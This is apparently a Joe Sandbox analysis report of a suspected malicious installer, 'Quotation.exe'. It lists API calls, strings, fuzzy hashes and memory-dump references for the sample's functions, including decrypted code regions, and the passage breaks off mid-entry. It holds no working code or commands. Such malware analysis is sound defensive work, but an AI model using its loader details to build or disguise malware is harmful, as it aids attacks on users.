Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\$Error writing temporary file. Make sure your temp folder is valid.
API String ID: 589700163-879122614
Opcode ID: 5b032911993fa6072ca7f20f73d4f3d6e0cff76cb04f630808d27ad5f640f473
Instruction ID: 64caea1e5fba35c947d9094266ac5fc002638ab42ea644ca00d5fa91912821bd
Opcode Fuzzy Hash: 5b032911993fa6072ca7f20f73d4f3d6e0cff76cb04f630808d27ad5f640f473
Instruction Fuzzy Hash: 7511D511B0063156DB30672A8C4097772E8DF69761756443BFDC6E32C0F77D8D9192B9

Function 00405739 Relevance: 12.1, APIs: 8, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00405756
GetSysColor.USER32 ref: 0040578F
SetTextColor.GDI32(?), ref: 004057A2
SetBkMode.GDI32(?,?), ref: 004057AE
GetSysColor.USER32(?), ref: 004057C2
SetBkColor.GDI32(?,?), ref: 004057D8
DeleteObject.GDI32(?), ref: 004057F4
CreateBrushIndirect.GDI32(?), ref: 004057FE

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: bf0799ea3bd6f053e04a74c3ecacf9df28762d59f89d86d460fcd2570ffda868
Instruction ID: 26ea8d1a65f0c358df8059d13c2b59527feb86654ff2728a298fdc5f00fd0ae6
Opcode Fuzzy Hash: bf0799ea3bd6f053e04a74c3ecacf9df28762d59f89d86d460fcd2570ffda868
Instruction Fuzzy Hash: E221D675500B049FDB649F28DA4895BB7F4EF45711B108A3EE896A26A0DB38E814DF28

Function 0040362D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040364B
MulDiv.KERNEL32(00127198,00000064,00127198), ref: 00403673
wsprintfW.USER32 ref: 00403683
SetWindowTextW.USER32(?,?), ref: 00403693
SetDlgItemTextW.USER32(?,00000406,?), ref: 004036A5

Strings

verifying installer: %d%%, xrefs: 0040367D

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 047d2cc0e248829387beeb5a8e07bbe74402e6ee51346e78a70c3337b09d8a04
Instruction ID: 44471e5cb11ab05bb0c6ce4c76b363bdac3f6882ce80e8a3b6daee8e8afc751d
Opcode Fuzzy Hash: 047d2cc0e248829387beeb5a8e07bbe74402e6ee51346e78a70c3337b09d8a04
Instruction Fuzzy Hash: BE018F71540208BBDF20AF60DE45BAA3B28A700305F00803AF642B51E0DBB58554CF4C

Function 733F2209 Relevance: 9.1, APIs: 6, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 733F12F8: GlobalAlloc.KERNEL32(00000040,?,733F11C4,-000000A0), ref: 733F1302

GlobalFree.KERNEL32(00000000), ref: 733F22F1
GlobalFree.KERNEL32(00000000), ref: 733F2326

Memory Dump Source

Source File: 00000000.00000002.2288029483.00000000733F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 733F0000, based on PE: true

Associated: 00000000.00000002.2287862220.00000000733F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288085712.00000000733F4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288109582.00000000733F6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_733f0000_Quotation.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 5e5f640aa358c5ea33ee208d539251b6610b5d18c8f4d50adcb168e718b2d158
Instruction ID: 6742f0a5d3de6da1774a9d67bcbb80c4d2557b0bc468bf3fad40db8d7459f4cb
Opcode Fuzzy Hash: 5e5f640aa358c5ea33ee208d539251b6610b5d18c8f4d50adcb168e718b2d158
Instruction Fuzzy Hash: B231E07660420BEBE7369F65DC44F2ABBBDFB45311BD0052EF40AC6190D729D880DB61

Function 733F10C7 Relevance: 8.9, APIs: 7, Instructions: 162memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 733F116B
GlobalFree.KERNEL32(00000000), ref: 733F11AE
GlobalFree.KERNEL32(00000000), ref: 733F11CD
GlobalAlloc.KERNEL32(00000040,?), ref: 733F11E6
GlobalFree.KERNEL32 ref: 733F125C
GlobalFree.KERNEL32(?), ref: 733F12A7
GlobalFree.KERNEL32(00000000), ref: 733F12BF

Memory Dump Source

Source File: 00000000.00000002.2288029483.00000000733F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 733F0000, based on PE: true

Associated: 00000000.00000002.2287862220.00000000733F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288085712.00000000733F4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288109582.00000000733F6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_733f0000_Quotation.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 2ca605ed4a08cfb208b41ecce2bb92307e17e6b483de8c1ca67417c26087976a
Instruction ID: 69eacc07ae163cd5192051e01c62301106cd0592147949452933a927d1b6d21b
Opcode Fuzzy Hash: 2ca605ed4a08cfb208b41ecce2bb92307e17e6b483de8c1ca67417c26087976a
Instruction Fuzzy Hash: E15175B6900303AFE730EFA9E850B26B7BCFF58214B94452AF54AD7250D735DA01CB55

Function 733F2049 Relevance: 7.6, APIs: 5, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 733F21BF

Part of subcall function 733F12E1: lstrcpynW.KERNEL32(00000000,?,733F156A,?,733F11C4,-000000A0), ref: 733F12F1

GlobalAlloc.KERNEL32(00000040), ref: 733F212C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 733F214C

Memory Dump Source

Source File: 00000000.00000002.2288029483.00000000733F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 733F0000, based on PE: true

Associated: 00000000.00000002.2287862220.00000000733F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288085712.00000000733F4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288109582.00000000733F6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_733f0000_Quotation.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 9b10fbeb0abd41ab3d2ae5323a979aa645274999ee2da092215316ff46338ed1
Instruction ID: a6f2455600f756bc0fc408f8b0e24950eea006fa8b54711ce5c5f5672080d312
Opcode Fuzzy Hash: 9b10fbeb0abd41ab3d2ae5323a979aa645274999ee2da092215316ff46338ed1
Instruction Fuzzy Hash: FE41C17680520BEFD331AF65D844FEAB7BCFB04340BC4023EE949DA149D7789581CAA4

Function 733F1F7B Relevance: 7.5, APIs: 5, Instructions: 38memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,00000808,00000000,733F2B4C,00000000,00000808), ref: 733F1F8C
GlobalAlloc.KERNEL32(00000040,00000000), ref: 733F1F97
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 733F1FAB
GetProcAddress.KERNEL32(?,00000000), ref: 733F1FB6
GlobalFree.KERNEL32(00000000), ref: 733F1FBF

Memory Dump Source

Source File: 00000000.00000002.2288029483.00000000733F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 733F0000, based on PE: true

Associated: 00000000.00000002.2287862220.00000000733F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288085712.00000000733F4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288109582.00000000733F6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_733f0000_Quotation.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: cc8438bcc6e77ba786fc5784ec70a08dcc8798bc4e3f2c0f139d8ea025d1916d
Instruction ID: f8fc52535a8afd8c27f6e27cabc3a2eb9136367e43e922c55b494ebd1f951cd2
Opcode Fuzzy Hash: cc8438bcc6e77ba786fc5784ec70a08dcc8798bc4e3f2c0f139d8ea025d1916d
Instruction Fuzzy Hash: 71F0C03310812ABBD6202AEBDC0CE57FE6CEB8B6FAB660215F61DD11A0D56668008771

Function 733F1F1E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 733F1F51
lstrcpyW.KERNEL32(?,error,00001018,733F1765,00000000,?), ref: 733F1F71

Strings

error, xrefs: 733F1F67, 733F1F6F
callback%d, xrefs: 733F1F4B

Memory Dump Source

Source File: 00000000.00000002.2288029483.00000000733F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 733F0000, based on PE: true

Associated: 00000000.00000002.2287862220.00000000733F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288085712.00000000733F4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288109582.00000000733F6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_733f0000_Quotation.jbxd

Similarity

API ID: lstrcpywsprintf
String ID: callback%d$error
API String ID: 2408954437-1307476583
Opcode ID: 0646476da167c090ed8d6c8f4dbfc176f2c8878f9e28e232f3dccde1f9c54f0b
Instruction ID: ec26dc506b5f82ff81a4ef079f1c0e0d9c308e5dbac8aff8a956f8c9cfe3c566
Opcode Fuzzy Hash: 0646476da167c090ed8d6c8f4dbfc176f2c8878f9e28e232f3dccde1f9c54f0b
Instruction Fuzzy Hash: 5AF0A735604123AFE3248B04E948FB6B3B9EF85314F89829CFD4A87356C778EC408B51

Function 00406534 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403CA1,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,004039A0), ref: 0040653A
CharPrevW.USER32(?,00000000), ref: 00406545
lstrcatW.KERNEL32(?,004082B0), ref: 00406557

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406534

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: d05188d841616a9e1b7d59f18f8490afccaafd82e288364c4b54bb9922993767
Instruction ID: 997ea4b4438496dccce44eacbb2634370b3c3ae0899ac86cf6792f2d8b8f87b4
Opcode Fuzzy Hash: d05188d841616a9e1b7d59f18f8490afccaafd82e288364c4b54bb9922993767
Instruction Fuzzy Hash: F7D05E31102924AFC2026B58AE08D9B77ACEF46341341406EFAC1B3160CB745D5287ED

Function 733F1CC7 Relevance: 6.2, APIs: 4, Instructions: 209COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 733F1D37
GlobalFree.KERNEL32(?), ref: 733F1DF2
GlobalFree.KERNEL32(00000000), ref: 733F1DF5
__alldvrm.LIBCMT ref: 733F1E2F

Memory Dump Source

Source File: 00000000.00000002.2288029483.00000000733F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 733F0000, based on PE: true

Associated: 00000000.00000002.2287862220.00000000733F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288085712.00000000733F4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288109582.00000000733F6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_733f0000_Quotation.jbxd

Similarity

API ID: FreeGlobal$__alldvrm
String ID:
API String ID: 482422042-0
Opcode ID: b9378554009063d70fa4965fa7413c4df7b072829575e79e051fda82e11cb770
Instruction ID: 3fb589337de69ee521200348c775a4056f16398b4e2c7082a69d4d5cbfa52b40
Opcode Fuzzy Hash: b9378554009063d70fa4965fa7413c4df7b072829575e79e051fda82e11cb770
Instruction Fuzzy Hash: 6C51E672E043474BD3369E75AD8077AB6FEAFD8214BD84A2EF047C3294E7A1C9818351

Function 00403367 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00403378
GetTickCount.KERNEL32 ref: 00403397
CreateDialogParamW.USER32(0000006F,00000000,0040362D,00000000), ref: 004033B6
ShowWindow.USER32(00000000,00000005), ref: 004033C4

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 357b023d8aff776a3d5515b2d6cdf3b091415c345a00606534bd97e45556d1c1
Instruction ID: 5fb2c38a213eff1d2f515c73fe307429b33afba48c29838db2cc379488067e45
Opcode Fuzzy Hash: 357b023d8aff776a3d5515b2d6cdf3b091415c345a00606534bd97e45556d1c1
Instruction Fuzzy Hash: C9F0F870551700EBDB209F60EF8EB163AA8B740B02F505579F941B51F0DB788514CA5C

Function 00405842 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405852

Part of subcall function 004054C6: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004054D8

OleUninitialize.OLE32(00000404,00000000), ref: 0040589E

Part of subcall function 00401399: MulDiv.KERNEL32(?,00007530,00000000), ref: 004013F9
Part of subcall function 00401399: SendMessageW.USER32(?,00000402,00000000), ref: 00401409

Strings

Litteraturhistoriens Setup: Installing, xrefs: 00405842

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: MessageSend$InitializeUninitialize
String ID: Litteraturhistoriens Setup: Installing
API String ID: 1011633862-3759432448
Opcode ID: fae861af5de1a05301b375e788940b7af21e1eb504ad4c379f9acf3cdad0321b
Instruction ID: 8d413f420cbd2cda170a8e13f5886ccfc68e5e1a5fc2061566676394b2cd1e54
Opcode Fuzzy Hash: fae861af5de1a05301b375e788940b7af21e1eb504ad4c379f9acf3cdad0321b
Instruction Fuzzy Hash: 97F09077800A008EE3416B54AD01B6777A4EBD1305F09C53EEE88A62A1DB794C628A5E

Analysis Process: Quotation.exePID: 2284, Parent PID: 5968COMMON

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	97
Total number of Limit Nodes:	9

Executed Functions

Function 36D53108 Relevance: 10.5, Strings: 8, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 36D537DE
$]q, xrefs: 36D537EA
$]q, xrefs: 36D53837
$]q, xrefs: 36D53813
,FI6, xrefs: 36D5316C
FI6, xrefs: 36D5315A
$]q, xrefs: 36D53807
$]q, xrefs: 36D5382B

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: ,FI6$$]q$$]q$$]q$$]q$$]q$$]q$FI6
API String ID: 0-2013510491
Opcode ID: 2f18c6c396f36bf156fe42519bde4eff3e71e5a0d86ae328cbc1ce7613704774
Instruction ID: c3f772c1b343769ac96b1c0b1f19f63bb4ad5d4a09d73dd88e753ea35d38fca7
Opcode Fuzzy Hash: 2f18c6c396f36bf156fe42519bde4eff3e71e5a0d86ae328cbc1ce7613704774
Instruction Fuzzy Hash: A6324D30E1071ACBDB15DF79C89459DB7B2FFC9300F61C66AD409AB624EB30A985CB91

Function 36D52338 Relevance: 4.8, Strings: 3, Instructions: 1038COMMON

Download Yara Rule

Strings

,DI6, xrefs: 36D52CCD
FI6, xrefs: 36D5315A
,DI6, xrefs: 36D52AC2

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: ,DI6$,DI6$FI6
API String ID: 0-1582849963
Opcode ID: f897209d37c285fe899751eb5153d43de9ac419d148ff288b4cd60e047a10c60
Instruction ID: ba953c0b814a288baf20d53d144edb6c6fc02c8a0841353afe3ef0359e90b923
Opcode Fuzzy Hash: f897209d37c285fe899751eb5153d43de9ac419d148ff288b4cd60e047a10c60
Instruction Fuzzy Hash: 30923638E002048FEB14DF68C584A99B7F2FB49354F6684A9D509AB766DB35EC85CF80

Function 36D57E20 Relevance: 4.2, Strings: 3, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 36D5815D
DRI6, xrefs: 36D582A1
$]q, xrefs: 36D58169

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: DRI6$$]q$$]q
API String ID: 0-2305033372
Opcode ID: 3a9130f243b52be1b0aad262ad9ca74b2c7f551197df0e4b6c75f67de063c176
Instruction ID: 39a897521e15fca8ec816b2273ce52799686cd727c0ebb5caf9079e9008611a5
Opcode Fuzzy Hash: 3a9130f243b52be1b0aad262ad9ca74b2c7f551197df0e4b6c75f67de063c176
Instruction Fuzzy Hash: AD02AD34B002298FEB08DF69D890A9EB7E6FF84344F218529D505EB795DB35EC46CB81

Function 0015A950 Relevance: 2.9, Instructions: 2857COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97478458024c3cd2e57bce7d11a87abe127caa14efcdf1f98bd6409e8245bf07
Instruction ID: 5ee8a2d7cf6dd5ac13b8405220b6177b83f08ff98d8a5ad0edf6b329266e4b3e
Opcode Fuzzy Hash: 97478458024c3cd2e57bce7d11a87abe127caa14efcdf1f98bd6409e8245bf07
Instruction Fuzzy Hash: 3F63F731D10B1A8ECB11EF68C8945A9F7B1FF99300F51D79AE4587B121EB70AAD4CB81

Function 36D56698 Relevance: 2.1, Strings: 1, Instructions: 831COMMON

Download Yara Rule

Strings

,DI6, xrefs: 36D56F57

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: ,DI6
API String ID: 0-1379044179
Opcode ID: 9120fc03834c8f87ad85bf3495330efa8fc0c90bf0954d4a272a8bbddca02d38
Instruction ID: 049da8da4e492a94912d62bc05e6746e437737b2052b7bb3d75f98dc85843b7c
Opcode Fuzzy Hash: 9120fc03834c8f87ad85bf3495330efa8fc0c90bf0954d4a272a8bbddca02d38
Instruction Fuzzy Hash: 8062AC38B002048FEF14DB68D594A9DBBF2EF88354F218569E505EB7A1DB35EC46CB81

Function 36D55648 Relevance: 1.8, Strings: 1, Instructions: 595COMMON

Download Yara Rule

Strings

$, xrefs: 36D55D54

Memory Dump Source

